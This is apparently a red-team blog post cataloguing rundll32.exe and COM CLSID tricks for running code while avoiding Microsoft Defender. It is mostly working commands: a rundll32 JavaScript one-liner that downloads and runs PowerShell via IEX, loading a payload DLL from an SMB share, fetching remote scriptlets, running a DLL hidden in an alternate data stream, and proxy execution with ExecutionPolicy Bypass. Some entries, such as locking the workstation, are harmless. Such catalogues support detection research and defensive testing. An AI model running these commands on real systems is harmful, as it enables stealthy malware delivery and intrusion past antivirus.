Home

Published

- 7 min read

rundll32AllTheThings

img of rundll32AllTheThings

Intro

Last time we looked at the new comma evasion found by a researcher and published on Twitter. This time, we continue to dive into rundll32.exe and explore additional functionalities it offers.

As most evasions obfuscations have a short lifespan, we’re discussing these commands without active Defender. You’ll need to add obfuscation / evasion separately, albeit most of the following (a good 90%) should run entirely with Defender active.

Execute function from dll file

You can utilize WinAPI DLLs such as kernel32.dll to execute functions. This approach allows for direct interaction with the Windows API, offering a wide range of system-level functionalities.

cmd
   > rundll32.exe shell32.dll,OpenAs_RunDLL anyfile.txt

Note that it needs an absolute path.

Execute DLL from SMB share

Execute a DLL from a SMB share using rundll32.exe. This method is particularly useful for network-based payloads.

cmd
   > rundll32.exe \\10.11.12.13\my\share\payload.dll,EntryPoint

Execute code from Internet

Leverage rundll32.exe to execute a JavaScript script that, in turn, runs a PowerShell script downloaded from a remote website.

cmd
   > rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://path-to-whatever/');")

Proxy execution

Execute calc.exe through a JavaScript script using rundll32.exe.

cmd
   > rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

Proxy execution with process termination

Run calc.exe using a JavaScript script and then terminate the rundll32.exe process.

cmd
   > rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Execute remote JavaScript

Execute a remote JavaScript script with rundll32.exe.

cmd
   > rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/network-sec/nonexistendexample")

Execute a DLL/EXE COM server payload or ScriptletURL code

Load a registered or hijacked COM Server payload using rundll32.exe. This technique also applies to ProgID.

cmd
   > rundll32.exe -sta {CLSID}

(Note: This is shown by lol-bas without concrete example, I didn’t try further to get it working, just leaving the info here.)

Find CLSID

of the ShellBrowserWindow COM object

powershell
   $ Get-ChildItem HKLM:\Software\Classes\CLSID\ | Where-Object { (Get-ItemProperty $_.PSPath).'(Default)' -match 'ShellBrowserWindow' } | ForEach-Object { $_.Name }
HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{5da8fe1f-f485-4516-be06-426b0dddf555}
HKEY_LOCAL_MACHINE\Software\Classes\CLSID\{c08afd90-f2a1-11d1-8455-00a0c91f3880}

Alternative: Find CLSID

of mshtml - another way:

powershell
   $ (Get-ItemProperty "Registry::HKEY_CLASSES_ROOT\htmlfile\CLSID").'(Default)'

Do it in Powershell

Using ShellBrowserWindow class.

powershell
   $ [Activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880")).Navigate2("file:///C:/windows/system32/calc.exe")

Have Fun

Giving this one out for free :)

powershell
   $ Get-ChildItem HKLM:\Software\Classes\CLSID\ | Where-Object { (Get-ItemProperty $_.PSPath).'(Default)' -match 'Script' } | ForEach-Object { write-host (Get-ItemProperty $_.PSPath).'(Default)' $_.Name }

Using IE

powershell
   $ $clsidIE = "0002DF01-0000-0000-C000-000000000046" 
$ $typeIE = [Type]::GetTypeFromCLSID([Guid]$clsidIE)
$ $ie = [Activator]::CreateInstance($typeIE)
$ $ie.Visible = $true
$ $ie.Navigate("http://www.example.com")

Why do we do this?

At this point you may ask: “What’s the point?” - First of all, we found not only one evasion, but instead many ways to do the same thing: Execute code without Defender alerting. To be fair, most are already known. Of course, the point of the researcher was to bypass a pre-existing Defender trigger. Let’s try also to do the exact same thing. Hold tight for an upcoming article, I can’t promise it will work out, because I haven’t tried it. But:

TL;DR Why not try this on mshtml - which is also a COM object? That’s exactly what we will do next. Call the previous look into CLSIDs on Powershell a little sneek peak.

powershell
   $ [Activator]::CreateInstance([type]::GetTypeFromCLSID([Guid]"25336920-03F9-11cf-8FD0-00AA00686F13")) | Get-Member
   TypeName: System.__ComObject#{3050f55f-98b5-11cf-bb82-00aa00bdce0b}

Name                            MemberType Definition
----                            ---------- ----------
addEventListener                Method     void addEventListener (string, IDispatch, bool)
adoptNode                       Method     IHTMLDOMNode3 adoptNode (IHTMLDOMNode)
appendChild                     Method     IHTMLDOMNode appendChild (IHTMLDOMNode)
attachEvent                     Method     bool attachEvent (string, IDispatch)
clear                           Method     void clear ()
[...snip...]
onerror                         Property   Variant onerror () {get} {set}
onerrorupdate                   Property   Variant onerrorupdate () {get} {set}
onfocus                         Property   Variant onfocus () {get} {set}
onfocusin                       Property   Variant onfocusin () {get} {set}
onfocusout                      Property   Variant onfocusout () {get} {set}
onhelp                          Property   Variant onhelp () {get} {set}
oninput                         Property   Variant oninput () {get} {set}
onkeydown                       Property   Variant onkeydown () {get} {set}
onkeypress                      Property   Variant onkeypress () {get} {set}
onkeyup                         Property   Variant onkeyup () {get} {set}
onload                          Property   Variant onload () {get} {set}
onloadeddata                    Property   Variant onloadeddata () {get} {set}
onloadedmetadata                Property   Variant onloadedmetadata () {get} {set}
onloadstart                     Property   Variant onloadstart () {get} {set}
onmousedown                     Property   Variant onmousedown () {get} {set}
onmousemove                     Property   Variant onmousemove () {get} {set}
onmouseout                      Property   Variant onmouseout () {get} {set}
onmouseover                     Property   Variant onmouseover () {get} {set}
Script                          Property   IDispatch Script () {get}
scripts                         Property   IHTMLElementCollection scripts () {get}
security                        Property   string security () {get}
xmlVersion                      Property   string xmlVersion () {get} {set}
powershell
   $ [Activator]::CreateInstance([type]::GetTypeFromCLSID([Guid]"25336920-03F9-11cf-8FD0-00AA00686F13")).url()
about:blank

Gotcha

After trying a lot, and accidently navigating my firefox, we finally found a way using CLSID to pop calc - with Defender running - using WScript. As there wasn’t much more than trial and error involved, using the methods I already showed, I won’t write another article about this - at least not today.

powershell
   $ [Activator]::CreateInstance([type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8")).Run("calc.exe")

For the Haters

complaining that targeting WScript directly isn’t the same as mshtml

powershell
   $ $htmlDocument =[Activator]::CreateInstance([type]::GetTypeFromCLSID("25336920-03F9-11cf-8FD0-00AA00686F13"))
$ $body = $htmlDocument.createElement("body")
$ $script = $htmlDocument.createElement("script")
$ $script.text = "alert('This is a JavaScript Alert!');"
$ $body.appendChild($script)
$ $clsid = "{25336920-03F9-11cf-8FD0-00AA00686F13}"
$ (Get-ItemProperty "Registry::HKEY_CLASSES_ROOT\CLSID\$clsid\InprocServer32").'(Default)'
C:\Windows\System32\mshtml.dll

mshtml.dll CLSID JavaScript

As dynamic one-liner

Using CLSID you can do it remote in Active Directory - albeit I haven’t tested it yet for this specific thing.

powershell
   $ $h=[Activator]::CreateInstance([type]::GetTypeFromCLSID(((Get-ItemProperty "Registry::HKEY_CLASSES_ROOT\htmlfile\CLSID").'(Default)').Substring(1,36)));$b=$h.createElement("body");$s=$h.createElement("script");$s.text="alert('RedTeam');";$b.appendChild($s)

mshtml.dll CLSID JavaScript

Where to go from here?

Running HTML applications (HTA files) along with ActiveX objects opens up a can of worms, especially when messing with mshtml’s CLSID.

Here’s a skeleton approach to what you might aim for next, given the broad strokes:

  • HTA File Setup: Create an HTA file which is essentially HTML with the ability to run ActiveX objects and access the local filesystem, among other things.
  • ActiveXObject Creation: Use JavaScript within the HTA to create an instance of mshtml via ActiveXObject with its CLSID.
  • HTML Manipulation: Use document.write() or other DOM manipulation methods to interact with your HTML content dynamically.
html
   <script>
    try {
        var mshtml = new ActiveXObject("Mshtml.CLSID");
        // Your code to manipulate the HTML document goes here
        document.write("Hello, world!");
    } catch (e) {
        console.error("Error: " + e.message);
    }
</script>

I’ll leave it to my readers and colleagues to continue on this path, if desired.

Remote Control firefox

Found along the way to the one above.

powershell
   $ [Activator]::CreateInstance([type]::GetTypeFromCLSID([Guid]"30590067-98b5-11cf-bb82-00aa00bdce0b")).url = "https://blog.network-sec.de"

Sorry, went a bit astray. Back to rundll32.exe

Execute code from alternate data stream

Run a .DLL file stored in an Alternate Data Stream (ADS) using rundll32.exe.

cmd
   > rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain

Executing Functions from kernel32.dll

Invoke kernel32.dll functions directly to manipulate memory, process threads, or system information without JavaScript. This capability is crucial for low-level system access.

cmd
   > rundll32.exe kernel32.dll,SetProcessShutdownParameters

Popping a Window without JavaScript

To initiate a window without relying on JavaScript, rundll32.exe can be employed alongside shell32.dll to access and display common Windows dialogues or even custom ones, provided you have the appropriate DLL. A key technique involves the use of ordinal numbers (or “ordinals”), which refer to the position of a function within a DLL’s export table. Instead of calling functions by name, you can invoke them by their ordinal number, which can be a more direct and sometimes faster method of execution.

cmd
   > rundll32.exe shell32.dll,#61

In this command, #61 is the ordinal number that corresponds to the “Run” dialog within shell32.dll. Using ordinals can be particularly useful when the function name is not known or when you prefer a slightly obfuscated approach to calling functions within a DLL.

Finding Ordinal Numbers

To find the ordinal numbers of functions within a DLL, tools like dumpbin.exe (part of Visual Studio) or Dependency Walker can be used. For example, with dumpbin.exe, you could use the following command in a Visual Studio Command Prompt:

cmd
   > dumpbin /exports c:\windows\system32\shell32.dll

This command lists all the exported functions of shell32.dll, along with their ordinal numbers. You can search through this list to find the specific function you’re interested in calling.

Using Ordinal Numbers

When using rundll32.exe to call a function by its ordinal number, the syntax is straightforward. You simply append ,# followed by the ordinal number to the DLL name:

cmd
   > rundll32.exe <DllName>,#<OrdinalNumber>

This method opens up a wide range of possibilities for executing various functions within DLLs without the need for JavaScript, providing a powerful tool for Windows automation and customization tasks.

By leveraging ordinal numbers, you gain an additional layer of flexibility in how you interact with DLLs, enabling you to execute functions directly and efficiently.

Let’s get funny

Why not? See what else we can do…

Access Control Panel

cmd
   > rundll32.exe shell32.dll,Control_RunDLL access.cpl

Locking the Workstation

cmd
   > rundll32.exe user32.dll,LockWorkStation

Run cleanmngr

cmd
   > rundll32.exe cleanmgr.dll,CleanMgr

Control Panel Items

Open specific Control Panel items, like the Internet Options dialog

cmd
   > rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0

Run powershell script

Another proxy execution example.

cmd
   > rundll32.exe shell32.dll,ShellExec_RunDLL powershell.exe -ExecutionPolicy Bypass -File "\temp\rd.ps1"

One more proxy

using a .url file.

   [InternetShortcut]
URL=file:///c:\windows\system32\calc.exe
cmd
   > rundll32 ieframe.dll, OpenURL c:\temp\test.url

ieframe pop calc.exe